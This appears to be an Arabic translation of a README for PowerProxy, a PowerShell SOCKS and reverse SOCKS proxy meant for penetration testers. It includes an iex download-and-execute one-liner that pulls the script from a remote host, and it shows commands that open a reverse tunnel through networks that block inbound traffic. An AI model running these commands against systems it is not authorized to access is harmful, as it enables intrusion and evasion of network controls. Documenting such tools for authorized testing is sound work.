
وكيل SOCKS في PowerShell مع قدرات وكيل عكسي
وكيل SOCKS في PowerShell مع إمكانيات الوكيل العكسي.
تم كتابة PowerProxy مع وضع مختبري الاختراق في الاعتبار. وظيفة الوكيل العكسي هي أولوية، لاجتياز الشبكات التي تحظر الاتصالات الواردة. اتصالات الوكيل العكسي مشفرة افتراضيًا. دعم المصادقة باسم المستخدم/كلمة المرور لاتصالات Socks 5.
استيراد البرنامج النصي:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
يمكن لـ reverse_proxy_handler.py إنشاء شهادات SSL مؤقتة، والتي تتطلب OpenSSL. إذا لم يكن OpenSSL مثبتًا على جهازك (فهو موجود على معظم أنظمة Linux/Unix)، فقدم شهادة خاصة بك أو استخدم الخيار --no-encrypt.
للاستخدام التفصيلي، راجع تعليمات PowerProxy، أو استخدم ./reverse_proxy_handler.py --help
على الجهاز المحلي، ابدأ المعالج:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
في PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
يمكن لعملاء الوكيل التعامل مع الخادم الذي أنشأه reverse_proxy_handler.py كما لو كان خادم SOCKS الفعلي:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
استخدم كائنات PSCredential لطلب اسم مستخدم وكلمة مرور:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose